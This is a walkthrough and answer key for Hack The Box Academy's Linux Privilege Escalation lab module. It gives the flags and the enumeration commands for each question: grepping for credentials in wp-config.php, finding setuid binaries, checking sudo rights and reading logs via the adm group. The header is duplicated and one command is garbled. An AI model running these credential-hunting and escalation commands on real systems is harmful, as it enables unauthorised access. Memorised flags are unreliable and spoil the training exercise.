Linux Privileges Escalation:
Link to challenge: https://academy.hackthebox.com/module/51/
(log in required)
Class: Tier II | Easy | Offensive
Information Gathering
Environment enumeration:
Question: Enu
...
Linux Privileges Escalation:
Link to challenge: https://academy.hackthebox.com/module/51/
(log in required)
Class: Tier II | Easy | Offensive
Information Gathering
Environment enumeration:
Question: Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer.
Answer: HTB{1nt3rn4l_5cr1p7_l34k}
Command: grep -r 'HTB{' / 2>/dev/null
(-r: research recursively)
Linux Services & Internals Enumeration
Question: What is the latest Python version that is installed on the target?
Answer: 3.11
Command: apt list --installed | grep python
Credential Hunting
Question: Find the WordPress database password.
Answer: W0rdpr3ss_sekur1ty!
Command: find / -type f -name 'wp-config.php' -exec grep -E 'DB_USER|DB_PASSWORD' {} + 2>/dev/null
Environment-based Privilege Escalation:
Path Abuse:
Question: Review the PATH of the htb-student user. What non-default directory is part of the user's PATH?
Answer: /tmp
Command: echo $PATH | awk -F':' '{print $NF}'
Escaping Restricted Shells:
Question: Use different approaches to escape the restricted shell and read the flag.txt file. Submit the contents as the answer.
Answer: HTB{35c4p3_7h3_r3stricted_5h311}
Command: echo "$(/dev/null | grep - vF -f <(awk '{print $9}' current.txt) | awk '{print $9}'’
Question: Find a file with the setuid bit set that was not shown in the section command output (full path to the binary).
Answer: /usr/bin/facter
Command: find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
This time as there was single option on original output, so take the other one.
Sudo Rights Abuse:
Question: What command can the htb-student user run as root?
Answer: /usr/bin/openssl
Command: sudo -l
Privileged Groups:
Question: Use the privileged group rights of the secaudit user to locate a flag
Answer: ch3ck_th0se_gr0uP_m3mb3erSh1Ps!
Command: 1. ‘id’ to see what groups the user is member of.
2. observe the user is in group ‘adm’ that can access to /var/log.
3. run ‘find /var/log -type f 2>/dev/null -exec grep "flag" {} \;’
[Show More]